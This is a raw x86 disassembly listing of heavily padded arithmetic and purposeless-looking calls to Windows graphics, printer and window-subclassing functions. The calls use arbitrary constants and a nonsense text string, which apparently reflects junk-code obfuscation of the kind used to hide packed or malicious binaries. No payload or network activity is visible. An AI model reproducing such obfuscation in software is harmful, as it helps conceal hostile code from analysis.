mov dword [ebp - 0x3130], eax
mov ecx, dword [ebp - 0x2fc4]
mov edx, dword [0x51800c]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x301c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0xd2]
movzx edx, byte [ebp - 0xd3]
and ecx, edx
mov byte [ebp - 0xd4], cl
lea eax, [ebp - 0xb48]
mov dword [0x5193cc], eax
mov dword [ebp - 0x3134], 0x75c6
mov dword [ebp - 0x3138], 0x518010
mov ecx, dword [ebp - 0x2e2c]
sub ecx, dword [ebp - 0x2f2c]
mov dword [ebp - 0x2ff4], ecx
mov edx, dword [ebp - 0x2e64]
add edx, dword [ebp - 0x2fbc]
mov dword [ebp - 0x2f2c], edx
mov eax, dword [ebp - 0x30c4]
mov ecx, dword [0x518008]
add ecx, dword [eax]
mov dword [ebp - 0x3088], ecx
mov edx, dword [ebp - 0x2fc4]
mov eax, dword [edx]
add eax, dword [ebp - 0x2fbc]
mov dword [ebp - 0x2f2c], eax
movsx ecx, word [ebp - 0x7f4]
mov edx, dword [ebp - 0x2fb0]
movsx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x2ed4]
mov word [edx], cx
movsx eax, byte [ebp - 0xcd]
mov ecx, dword [ebp - 0x2fe0]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x2ea0]
mov byte [ecx], al
movzx edx, byte [ebp - 0xd1]
movzx eax, byte [0x518006]
sub edx, eax
mov ecx, dword [ebp - 0x3014]
mov byte [ecx], dl
movzx edx, word [ebp - 0xb48]
movzx eax, word [ebp - 0xb60]
sub edx, eax
mov ecx, dword [0x5193cc]
mov word [ecx], dx
mov edx, dword [ebp - 0x2eb8]
mov eax, dword [ebp - 0x2fac]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2fa0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e70]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2e5c]
shr edx, cl
mov dword [ebp - 0x3078], edx
movzx eax, byte [ebp - 0xd1]
mov ecx, dword [ebp - 0x2e7c]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x3014]
mov byte [edx], al
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3020]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0xb44], cx
mov ecx, dword [ebp - 0x3088]
or ecx, dword [ebp - 0x3124]
mov dword [ebp - 0x30b0], ecx
mov edx, dword [ebp - 0x30f0]
and edx, dword [0x518010]
mov eax, dword [ebp - 0x2eb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x3088]
mov dword [ebp - 0x2ff4], edx
mov eax, dword [ebp - 0x300c]
add eax, 0x1c
mov dword [ebp - 0x300c], eax
mov ecx, dword [ebp - 0x2e2c]
add ecx, dword [ebp - 0x3124]
mov edx, dword [ebp - 0x301c]
mov dword [edx], ecx
movzx eax, word [ebp - 0xb58]
movzx ecx, word [ebp - 0xb48]
add eax, ecx
mov word [0x5193c0], ax
movzx edx, byte [ebp - 0xd6]
movzx eax, byte [ebp - 0xd5]
add edx, eax
mov ecx, dword [ebp - 0x2ec0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3064]
mov eax, dword [ebp - 0x2e5c]
sub eax, dword [edx]
mov dword [ebp - 0x2dfc], eax
mov ecx, dword [ebp - 0x2fd4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2fbc]
mov dword [ebp - 0x3124], edx
movsx eax, byte [ebp - 0xcd]
mov ecx, dword [ebp - 0x2ea0]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0xce], al
mov eax, dword [ebp - 0x2fb0]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x2e3c]
movsx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xb4c], cx
mov ecx, dword [ebp - 0x3014]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0xd1]
sar edx, cl
mov byte [ebp - 0xd6], dl
movzx eax, word [ebp - 0xb60]
mov ecx, dword [0x5193c4]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0xb54], ax
mov eax, dword [ebp - 0x2e60]
xor eax, dword [ebp - 0x2dfc]
mov ecx, dword [ebp - 0x2ed8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x30c4]
mov eax, dword [ebp - 0x2f04]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [0x518008], edx
mov eax, dword [ebp - 0x2fd4]
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x2e2c], edx
mov eax, dword [ebp - 0x30f0]
and eax, dword [ebp - 0x2dfc]
mov ecx, dword [ebp - 0x3058]
mov dword [ecx], eax
mov edx, dword [0x518008]
add edx, dword [ebp - 0x3088]
mov eax, dword [ebp - 0x2e80]
mov dword [eax], edx
movzx ecx, byte [ebp - 0xd6]
movzx edx, byte [ebp - 0xd1]
add ecx, edx
mov eax, dword [ebp - 0x2ec0]
mov byte [eax], cl
movzx ecx, word [ebp - 0xb5c]
movzx edx, word [0x5193c0]
sub ecx, edx
mov eax, dword [ebp - 0x3080]
mov word [eax], cx
mov ecx, dword [ebp - 0x3130]
mov edx, dword [ebp - 0x2f04]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x2ff4], eax
mov ecx, dword [ebp - 0x3058]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e60]
mov dword [ebp - 0x2e5c], edx
mov eax, dword [ebp - 0x30c4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x3124]
mov edx, dword [ebp - 0x3130]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2f2c]
mov dword [0x51800c], ecx
cmp dword [ebp - 0x300c], 0xb930
jne 0x4200d1
mov edx, dword [ebp - 0x3020]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb58]
and eax, ecx
mov word [ebp - 0xb54], ax
movzx edx, byte [ebp - 0xcf]
movzx eax, byte [ebp - 0xd3]
xor edx, eax
mov byte [ebp - 0xd2], dl
mov ecx, dword [ebp - 0x2ed4]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x7f4]
shl edx, cl
mov word [ebp - 0xb40], dx
movsx eax, byte [ebp - 0x15]
movsx ecx, byte [ebp - 0xcd]
sar eax, cl
mov ecx, dword [ebp - 0x2f84]
mov byte [ecx], al
mov edx, dword [ebp - 0x3078]
or edx, dword [ebp - 0x2dfc]
mov eax, dword [ebp - 0x3138]
mov dword [eax], edx
mov ecx, dword [ebp - 0x301c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2ffc]
mov eax, dword [ebp - 0x2f04]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3134]
add ecx, 0xf
mov dword [ebp - 0x3134], ecx
movzx edx, byte [ebp - 0xcf]
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x3074]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
mov eax, dword [0x5193c4]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0xb48], dx
mov edx, dword [ebp - 0x2e70]
mov eax, dword [edx]
add eax, dword [ebp - 0x2dfc]
mov ecx, dword [0x5193bc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e80]
mov eax, dword [ebp - 0x30c4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x301c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3130]
mov ecx, dword [ebp - 0x2fd4]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x2e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2dfc]
add ecx, dword [ebp - 0x2e5c]
mov edx, dword [ebp - 0x2eb0]
mov dword [edx], ecx
mov eax, dword [0x5193cc]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb50]
sub ecx, edx
mov eax, dword [ebp - 0x2e6c]
mov word [eax], cx
movzx ecx, byte [ebp - 0xcf]
movzx edx, byte [ebp - 0xd2]
sub ecx, edx
mov byte [ebp - 0xd1], cl
mov eax, dword [ebp - 0x2e64]
sub eax, dword [ebp - 0x2ff4]
mov ecx, dword [ebp - 0x2e80]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ebp - 0x2ffc]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2e80]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3138]
mov eax, dword [ebp - 0x2e5c]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0x3064]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2fa4]
mov eax, dword [edx]
xor eax, dword [ebp - 0x2f2c]
mov dword [0x518008], eax
mov ecx, dword [ebp - 0x301c]
mov edx, dword [ebp - 0x2fc4]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x2e9c]
mov dword [ecx], eax
movsx edx, byte [ebp - 0xce]
movsx eax, byte [ebp - 0xcd]
or edx, eax
mov byte [ebp - 0x15], dl
mov ecx, dword [ebp - 0x2e3c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x7f4]
and edx, eax
mov word [ebp - 0xb40], dx
movzx ecx, byte [ebp - 0xd1]
movzx edx, byte [ebp - 0xd6]
add ecx, edx
mov byte [ebp - 0xcf], cl
mov eax, dword [ebp - 0x30ec]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xb44], cx
mov ecx, dword [ebp - 0x2dfc]
and ecx, dword [ebp - 0x30f0]
mov edx, dword [ebp - 0x2e70]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2d58]
sub eax, dword [ebp - 0x2e64]
mov ecx, dword [ebp - 0x2fc4]
mov dword [ecx], eax
movzx edx, word [ebp - 0xb60]
movzx eax, word [ebp - 0xb50]
sub edx, eax
mov ecx, dword [ebp - 0x3080]
mov word [ecx], dx
mov edx, dword [ebp - 0x2eb0]
mov eax, dword [edx]
add eax, dword [0x5193b8]
mov ecx, dword [0x5193bc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2eb8]
mov eax, dword [edx]
add eax, dword [ebp - 0x3078]
mov ecx, dword [ebp - 0x2f8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x301c]
mov eax, dword [ebp - 0x3130]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2f04]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2fd4]
mov ecx, dword [ebp - 0x3130]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x2fa4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2ed8]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2dfc]
shl edx, cl
mov dword [ebp - 0x2e60], edx
movzx eax, byte [ebp - 0xd0]
movzx ecx, byte [ebp - 0xd4]
xor eax, ecx
mov edx, dword [ebp - 0x2ec0]
mov byte [edx], al
mov eax, dword [ebp - 0x3080]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3020]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x2e6c]
mov word [edx], cx
mov eax, dword [ebp - 0x301c]
mov ecx, dword [ebp - 0x2fd4]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x30c4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2fd4]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2f2c]
mov eax, dword [ebp - 0x301c]
mov dword [eax], edx
movsx ecx, byte [ebp - 0xce]
mov edx, dword [ebp - 0x2fe0]
movsx eax, byte [edx]
add ecx, eax
mov byte [0x518007], cl
mov ecx, dword [ebp - 0x2fb0]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xb4c]
sub edx, eax
mov ecx, dword [ebp - 0x2e3c]
mov word [ecx], dx
movzx edx, word [ebp - 0xb48]
movzx eax, word [ebp - 0xb54]
sub edx, eax
mov word [ebp - 0xb64], dx
movzx ecx, byte [ebp - 0xd1]
mov edx, dword [ebp - 0x2e7c]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0xd6], cl
mov ecx, dword [ebp - 0x3058]
mov edx, dword [ebp - 0x2e60]
add edx, dword [ecx]
mov eax, dword [ebp - 0x2e70]
mov dword [eax], edx
cmp dword [ebp - 0x3134], 0x7a94
jb 0x4203fc
mov ecx, dword [ebp - 0x2ffc]
mov dword [ebp - 0x313c], ecx
cmp dword [ebp - 0x313c], 0x43d91bb3
je 0x4207d6
jmp 0x42084f
mov edx, dword [ebp - 0x2fc0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x2e70]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2d58]
add edx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x3124], edx
push 0x5a
lea eax, [ebp - 0x3108]
push eax
push fcn.004eea20
mov ecx, dword [ebp - 0x2e48]
push ecx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x3140], eax
mov edx, dword [ebp - 0x2f04]
mov eax, dword [edx]
sub eax, dword [ebp - 0x3124]
mov dword [ebp - 0x2e64], eax
mov ecx, dword [ebp - 0x2fd4]
mov edx, dword [ebp - 0x2d58]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x3130]
mov dword [eax], edx
jmp 0x4ecaaf
mov ecx, dword [ebp - 0x2eac]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb58]
or edx, eax
mov ecx, dword [ebp - 0x2ebc]
mov word [ecx], dx
mov edx, dword [ebp - 0x2fac]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2e5c]
shr eax, cl
mov ecx, dword [0x5193bc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2fc0]
mov eax, dword [ebp - 0x2dfc]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x2fa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2f04]
mov eax, dword [ebp - 0x2ff4]
and eax, dword [edx]
mov dword [ebp - 0x2d58], eax
mov ecx, dword [ebp - 0x301c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x3124]
mov eax, dword [ebp - 0x2fd4]
mov dword [eax], edx
mov ecx, dword [0x5193b8]
sub ecx, dword [ebp - 0x2e5c]
mov dword [ebp - 0x2e60], ecx
movzx edx, word [ebp - 0xb48]
mov eax, dword [ebp - 0x30ec]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x2e6c]
mov word [eax], dx
movzx ecx, byte [ebp - 0xd4]
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x2e7c]
mov byte [edx], cl
movsx eax, word [ebp - 0xb40]
movsx ecx, word [ebp - 0xb4c]
sub eax, ecx
mov word [ebp - 0x7f4], ax
movsx edx, byte [ebp - 0xce]
mov eax, dword [ebp - 0x2f84]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0xcd], dl
mov edx, dword [ebp - 0x2eb0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x3078]
mov dword [0x5193b8], eax
mov ecx, dword [ebp - 0x30c4]
mov edx, dword [ebp - 0x2fa4]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x2e64], eax
mov ecx, dword [ebp - 0x3014]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xd0]
add edx, eax
mov ecx, dword [ebp - 0x3014]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3060]
sub edx, 0xdb
mov dword [ebp - 0x3060], edx
movzx eax, word [ebp - 0xb48]
mov ecx, dword [ebp - 0x2ebc]
movzx ecx, word [ecx]
sar eax, cl
mov edx, dword [ebp - 0x30ec]
mov word [edx], ax
mov eax, dword [ebp - 0x2f04]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2ffc]
shl edx, cl
mov dword [ebp - 0x3124], edx
mov eax, dword [ebp - 0x2e60]
xor eax, dword [ebp - 0x2e5c]
mov dword [ebp - 0x3078], eax
mov ecx, dword [ebp - 0x30c4]
mov edx, dword [ebp - 0x2e80]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x2e2c], eax
mov ecx, dword [ebp - 0x2e38]
and ecx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x30b0], ecx
movzx edx, word [ebp - 0xb64]
movzx eax, word [ebp - 0xb54]
add edx, eax
mov ecx, dword [ebp - 0x3020]
mov word [ecx], dx
mov edx, dword [ebp - 0x3020]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb58]
sub eax, ecx
mov edx, dword [0x5193c4]
mov word [edx], ax
mov eax, dword [ebp - 0x2eb8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2dfc]
mov edx, dword [ebp - 0x309c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2ff4]
mov edx, dword [ebp - 0x301c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [0x518008]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2f04]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2fa4]
mov ecx, dword [ebp - 0x30c4]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x2d58], edx
mov eax, dword [ebp - 0x3088]
and eax, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2e38], eax
cmp dword [ebp - 0x3060], 0x4240
jae 0x42084f
mov edx, dword [ebp - 0x30c4]
mov eax, dword [edx]
push eax
call fcn.004ee520
add esp, 4
jmp 0x4ecb75
movzx ecx, word [ebp - 0xb5c]
mov dword [ebp - 0xe2cc], ecx
cmp dword [ebp - 0xe2cc], 0x874
je 0x4ecae0
jmp 0x4ecb5c
lea edx, [ebp - 0xe384]
push edx
mov eax, dword [ebp - 0x30f4]
push eax
call dword [sym.imp.GDI32.dll_GetBitmapDimensionEx]
mov dword [ebp - 0x3114], eax
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ebp - 0x2ffc]
sub edx, dword [ecx]
mov dword [ebp - 0x3088], edx
movzx eax, word [0x5193c0]
movzx ecx, word [ebp - 0xb54]
and eax, ecx
mov edx, dword [0x5193c4]
mov word [edx], ax
lea eax, [ebp - 0x2ed0]
push eax
lea ecx, [ebp - 0x2f18]
push ecx
push 0xe9
lea edx, [ebp - 0x7f4]
push edx
push 0x9b
mov eax, dword [ebp - 0x2ee4]
push eax
push 9
call sub.WINSPOOL.DRV_EnumPrintersA
mov dword [ebp - 0x312c], eax
jmp 0x4ecb75
movsx ecx, word [ebp - 0xb4c]
mov edx, dword [ebp - 0x2fb0]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0x7f4], cx
mov ecx, dword [ebp - 0x2fa4]
mov edx, dword [ebp - 0x2ff4]
add edx, dword [ecx]
mov dword [ebp - 0x2d58], edx
movsx eax, word [ebp - 0xb4c]
mov dword [ebp - 0xe2d0], eax
cmp dword [ebp - 0xe2d0], 0x19bd
je 0x4ecba6
jmp 0x4ecbf0
lea ecx, [ebp - 0x2ee0]
push ecx
push fcn.004eefc0
mov edx, dword [ebp - 0x2f80]
push edx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x2f34], eax
movzx eax, word [ebp - 0xb58]
movzx ecx, word [ebp - 0xb5c]
xor eax, ecx
mov edx, dword [ebp - 0x3080]
mov word [edx], ax
mov eax, dword [0x518008]
mov ecx, dword [ebp - 0x2ff4]
shl eax, cl
mov dword [ebp - 0x2e64], eax
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xcf]
add edx, eax
movzx ecx, byte [ebp - 0xd0]
movzx eax, byte [ebp - 0xd5]
add ecx, eax
cmp edx, ecx
jl 0x4ecc6b
mov ecx, dword [ebp - 0x2fc0]
mov edx, dword [ebp - 0x2e5c]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x2e70]
mov dword [eax], edx
push 0xbe
mov ecx, dword [ebp - 0x2e4c]
push ecx
call dword [sym.imp.GDI32.dll_SelectClipPath]
mov dword [ebp - 0x3140], eax
movzx edx, byte [ebp - 0xd6]
push edx
mov eax, dword [ebp - 0x2fc0]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x2e7c]
movzx eax, byte [edx]
push eax
call fcn.004eea20
add esp, 0xc
jmp 0x4ecc85
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0xd0], dl
jmp 0x4eccbe
lea edx, [ebp - 0x312c]
push edx
push 0x70
push 0xd1
mov eax, dword [ebp - 0x3104]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
mov dword [ebp - 0x2e78], eax
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ebp - 0x2fa4]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x2ff4], eax
mov ecx, dword [ebp - 0x2ffc]
sub ecx, dword [ebp - 0x2fbc]
mov edx, dword [ebp - 0x2fc4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [ebp - 0x301c]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x2e2c], edx
mov eax, dword [ebp - 0x2f2c]
push eax
call fcn.004ee520
add esp, 4
mov ecx, dword [ebp - 0x3074]
mov dl, byte [ecx]
mov byte [ebp - 0xe2d4], dl
cmp byte [ebp - 0xe2d4], 0xfb
je 0x4ecd12
jmp 0x4ecd3e
mov eax, dword [ebp - 0x2fc4]
mov ecx, dword [ebp - 0x301c]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x2e38], edx
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [ebp - 0x2e64]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2fc4]
mov dword [edx], ecx
lea eax, [ebp - 0x2f28]
push eax
lea ecx, [ebp - 0xe580]
push ecx
push fcn.004ee400
mov edx, dword [ebp - 0x2f80]
push edx
call sub.COMCTL32.dll_Ordinal_411
mov dword [ebp - 0x3044], eax
movzx eax, byte [ebp - 0x15]
push eax
mov ecx, dword [ebp - 0x2ed0]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x15]
push eax
mov ecx, dword [ebp - 0x2fe0]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x15]
push eax
call fcn.004eefc0
add esp, 0x14
jmp 0x4ecdec
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2fbc]
mov eax, dword [ebp - 0x301c]
mov dword [eax], edx
push 0xf2
push 0xc2
push 0xb4
push 0xb2
push 0x47
push 0x63
push 0x9a
push 0x77
mov ecx, dword [ebp - 0xe0a4]
push ecx
call dword [sym.imp.GDI32.dll_ArcTo]
mov dword [ebp - 0x312c], eax
mov edx, dword [ebp - 0x2f04]
mov eax, dword [edx]
add eax, dword [ebp - 0x2ffc]
mov dword [ebp - 0x2f2c], eax
mov ecx, dword [ebp - 0x3080]
movzx edx, word [ecx]
mov dword [ebp - 0xe2d8], edx
cmp dword [ebp - 0xe2d8], 0x315
je 0x4ece36
cmp dword [ebp - 0xe2d8], 0xd1d
je 0x4ece15
jmp 0x4ece78
lea eax, [ebp - 0xe318]
push eax
push 0xa1
mov ecx, dword [ebp - 0x2e4c]
push ecx
call dword [sym.imp.GDI32.dll_GetTextFaceA]
mov dword [ebp - 0x3088], eax
jmp 0x4ece78
movzx edx, byte [ebp - 0xd4]
movzx eax, byte [ebp - 0xd1]
and edx, eax
mov byte [ebp - 0xd3], dl
mov ecx, dword [ebp - 0x2fa4]
mov edx, dword [ebp - 0x2e80]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2f8c]
mov eax, dword [ebp - 0x2e5c]
add eax, dword [edx]
mov dword [ebp - 0x2e60], eax
jmp 0x4eced3
push 0xe6
mov ecx, dword [ebp - 0x30b4]
push ecx
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [ebp - 0x2e78], eax
mov edx, dword [ebp - 0x3088]
or edx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2e38], edx
mov eax, dword [ebp - 0x2ebc]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xb58]
sar edx, cl
mov eax, dword [0x5193c4]
mov word [eax], dx
mov ecx, dword [ebp - 0x3064]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2e60]
shl edx, cl
mov dword [ebp - 0x2e5c], edx
mov eax, dword [ebp - 0x2f2c]
push eax
call fcn.004ee520
add esp, 4
jmp 0x4ecf2f
push 0x91
lea ecx, [ebp - 0x7f4]
push ecx
mov edx, dword [ebp - 0x2e74]
push edx
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
mov dword [ebp - 0x3118], eax
mov eax, dword [ebp - 0x2fc4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2f2c]
mov dword [0x518008], ecx
mov edx, dword [ebp - 0x2f04]
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2e58]
mov dword [edx], ecx
mov eax, dword [ebp - 0x301c]
mov ecx, dword [ebp - 0x2fd4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x2e64], edx
mov eax, dword [ebp - 0x2e38]
push eax
call fcn.004ee520
add esp, 4
mov ecx, dword [ebp - 0x2e6c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xb44], dx
mov ecx, dword [ebp - 0x2e6c]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xb48]
sar edx, cl
mov eax, dword [0x5193c4]
mov word [eax], dx
jmp 0x4ed034
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
sub edx, ecx
movzx eax, byte [ebp - 0xcf]
mov ecx, dword [ebp - 0x2ef8]
movzx ecx, byte [ecx]
add eax, ecx
cmp edx, eax
jl 0x4ecfdf
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [edx]
and eax, dword [ebp - 0x2f2c]
mov dword [0x518008], eax
mov ecx, dword [ebp - 0x2e5c]
sub ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x2fac]
mov dword [edx], ecx
push 0xd4
push str.Courts_Shrinkingly_explore_swells
push 0xda
push 0x8b
mov eax, dword [ebp - 0x3090]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
mov dword [ebp - 0x3140], eax
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [0x518008]
add edx, dword [ecx]
mov dword [ebp - 0x2f2c], edx
lea eax, [ebp - 0x2eac]
push eax
mov ecx, dword [ebp - 0x2e98]
push ecx
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
mov dword [ebp - 0x2eb4], eax
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xcf]
and eax, ecx
mov edx, dword [ebp - 0x2e7c]
movzx ecx, byte [edx]
movzx edx, byte [ebp - 0xd0]
sub ecx, edx
cmp eax, ecx
jg 0x4ed0bf
lea eax, [ebp - 0xe2f4]
push eax
push 0x5f
lea ecx, [ebp - 0x2f18]
push ecx
lea edx, [ebp - 0x2ed8]
push edx
mov eax, dword [ebp - 0x2f18]
push eax
mov ecx, dword [ebp - 0x2f5c]
push ecx
call sub.WINSPOOL.DRV_GetPrinterDataA
mov dword [ebp - 0x2e60], eax
movzx edx, word [ebp - 0xb44]
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0xb58], dx
movzx edx, byte [ebp - 0xd1]
mov eax, dword [ebp - 0x2e7c]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2ef8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2e70]
mov edx, dword [ecx]
mov dword [ebp - 0xe2dc], edx
cmp dword [ebp - 0xe2dc], 0xf9864e6c
je 0x4ed0db
jmp 0x4ed0dd
jmp 0x4ed0fc
movzx eax, byte [ebp - 0xcf]
push eax
mov ecx, dword [ebp - 0x2e60]
push ecx
movzx edx, byte [ebp - 0xd1]
push edx
call fcn.004eea20
add esp, 0xc
mov eax, dword [ebp - 0x2e6c]
movzx edx, word [eax]
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
shl edx, cl
mov word [0x5193c0], dx
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0xd1]
sar edx, cl
mov eax, dword [ebp - 0x2e7c]
movzx ecx, byte [eax]
movzx eax, byte [ebp - 0xcf]
or ecx, eax
cmp edx, ecx
jl 0x4ed182
push 0x2e
mov ecx, dword [ebp - 0x3090]
push ecx
call dword [sym.imp.GDI32.dll_SetDCPenColor]
mov dword [ebp - 0x2e60], eax
mov edx, dword [ebp - 0x2fa4]
mov eax, dword [ebp - 0x2e2c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2ed8]
